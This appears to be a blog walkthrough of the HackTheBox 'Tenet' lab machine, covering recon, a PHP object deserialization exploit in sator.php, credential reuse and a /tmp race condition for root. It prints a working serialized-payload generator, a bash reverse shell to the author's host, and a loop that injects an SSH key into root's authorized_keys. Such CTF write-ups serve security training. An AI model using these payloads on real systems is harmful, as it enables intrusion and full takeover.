Posts Hackthebox - Tenet
Post
Cancel

Hackthebox - Tenet

Summary

Tenet is a ctf like medium linux machine. It requires creative thinking and some guessing to obtain foothold on the machine. We begin by finding hidden wordpress blog. There is a comment in one of the blogs that gives out a hint for a subdomain and a php script source code. Upon looking at the php script source code, we see the script is vulnerable to php object deserialization.

Recon

Nmap

Nmap finds two open TCP ports, SSH (22) and HTTP (80):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root💀kali)-[~/htb/boxes/tenet]
└─# nmap -sT -sC -sV -oN nmap/tenet -v 10.10.10.223
# Nmap 7.91 scan initiated Thu May 27 20:47:14 2021 as: nmap -sT -sC -sV -oN nmap/tenet -v 10.10.10.223
Increasing send delay for 10.10.10.223 from 0 to 5 due to 58 out of 191 dropped probes since last increase.
Nmap scan report for 10.10.10.223
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 27 20:47:56 2021 -- 1 IP address (1 host up) scanned in 42.26 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu Bionic. The website on port 80 is hosting the default apache page.

Webserver - TCP 80

I started to fuzz the page to look for any hidden hostname and subdomains.

1
2
3
4
┌──(root💀kali)-[~/htb/boxes/tenet]
└─# gobuster dir -u http://10.10.10.223/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -q
/wordpress            (Status: 301) [Size: 316] [--> http://10.10.10.223/wordpress/]

Gobuster found wordpress directory which then revealed hostname tenet.htb After updating /etc/hosts file, it loaded a wordpress blog page. We can use wpscan tool to enumerate for users, outdated and vulnerable plugins, themes and much more.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/htb/boxes/tenet]
└─# wpscan --url http://tenet.htb/ -e ap,t,tt,u
...[snip]...
[i] User(s) Identified:

[+] protagonist
 | Found By: Author Posts - Author Pattern (Passive Detection)
...[snip]...

[+] neil
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

...[snip]...

Wpscan revealed two users admin, protagonist. There is a comment left on one of the blogs that said:

1
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

The comment hints that there is a php script and a backup with the name sator somewhere in the server. So I started to fuzz for it. After fuzzing around, I found a valid subdomain sator.tenet.htb which loads the default apache page. I also found the sator php script at http://sator.tenet.htb/sator.php.

The php script sator.php seems to get users from users file and update database. Going back to the comment on the blog post, the hint also included a backup for the same script. I added .bak and downloaded the source code of the sator.php script.

Below was the content of sator.php script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();

?>

The script takes the variable arepo through GET method, unserializes it and passes it to the class DatabaseExport.

The __destruct() uses file_put_contents to write the content of the file user_file to the web root directory.

RCE

We can abuse this by:

  • creating a serialized php script.
  • the php script would specify 2 variales user_file as a php script and data as the code we want to execute on the target machine.
  • Then we browse to the user_file we specified to execute our code.

The code to create the serialized payload is

1
2
3
4
5
6
7
8
<?php

class DatabaseExport {
    public $user_file = 'evil.php';
    public $data = '<?php exec("ping -c 2 10.10.14.59"); ?>';
}
print urlencode(serialize(new DatabaseExport))
?>

I used ping as my payload to test if the code works on the target. I executed the above php script and copied the output. The output is then passed on to http://sator.tenet.php?arepo=. In the screenshot above, we see that the target is able to ping back to our kali machine.

Foothold

Since the ping command worked, I replaced the ping with a reverse shell as shown below.

1
2
3
4
5
6
7
<?php
class DatabaseExport {
    public $user_file = 'evil.php';
    public $data = '<?php exec("bash -i >& /dev/tcp/10.10.14.59/9001 0>&1"); ?>';
}
print urlencode(serialize(new DatabaseExport))
?>

User Privilege Escelation

I know wordpress has credentials specified in the file wp-config.php The credentials in the wordpress config file were reused as ssh password.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root💀kali)-[~/htb/boxes/tenet]
└─# ssh neil@tenet.htb                                                                                                       130 ⨯
neil@tenet.htb password: 
Last login: Fri May 28 22:13:37 2021 from 10.10.14.59
neil@tenet:~$ id
uid=1001(neil) gid=1001(neil) groups=1001(neil)
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

sudo -l reveals that user neil can run /usr/local/bin/enableSSH.sh with sudo privilege.

When enableSSH.sh is executed with sudo it prints:

1
2
3
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh 
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:~$

Below was the content of the script. I commented what each line does to understand the script better.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash

checkAdded() {

        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) 
        # variable sshName is echoing variable key, separating on space and grabbing the 3rd index

        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
        # if the variable sshName does not exist in /root/.ssh/authorized_keys

                /bin/echo "Successfully added $sshName to authorized_keys file!"
                #then echo "successfully....." 

        else

                /bin/echo "Error in adding $sshName to authorized_keys file!"
                # echo error
        fi

}

checkFile() {

        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
        # if file exists and size is greater than 0, and is also regular file

                /bin/echo "Error in creating key file!"

                if [[ -f $1 ]]; then /bin/rm $1; fi
                # if file is regular file then remove it
                exit 1

        fi

}

addKey() {

        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
        # variable tmpName creates temporary file ssh-XXXXXXXX
        (umask 110; touch $tmpName)
        # set permissions
        /bin/echo $key >>$tmpName
        # copy variable key to variable tmpName
        checkFile $tmpName
        # check if tmpName exists
        /bin/cat $tmpName >>/root/.ssh/authorized_keys
        # copy tmpName to authorized_keys
        /bin/rm $tmpName
        # then remove the file tmpName
}

key="ssh-rsa AAAAA3NzaG1yc..............root@ubuntu" # sample ssh public key
addKey # invoking the function addKey
checkAdded # invoking the function checkAdded

Root Privilege Escelation

The user neil is able to execute the bash script /usr/local/bin/enableSSH.sh as superuser. The bash script is getting ssh public key from a random generated file stored in /tmp/ directory and adds it to /root/.ssh/authorized_keys. The random file name starts with ssh-.

We can take advatage of this by writing a script which copies our own public ssh key to any file with name ssh-**** stored in /tmp/ directory. First i created ssh keys pair specific for this with the command:

1
ssh-keygen -f root

After creating the ssh keys, copy the public key inside the echo quotes I wrote below bash script:

1
2
3
4
5
#!/bin/bash
while :
do 
echo "ssh-rsa AAAAB3NzaC1yc2EAAA............root@kali" | tee /tmp/ssh-* 2>/dev/null
done

The script would run in a loop and echo our public key to any files in /tmp/ssh-* which would then be copied to /root/.ssh/authorized_keys.

We first execute the our bash script, then execute the command sudo /usr/local/bin/enableSSH.sh.

Finally we ssh to root using the command ssh -i <ssh private key> root@10.10.10.223

This post is licensed under CC BY 4.0 by the author.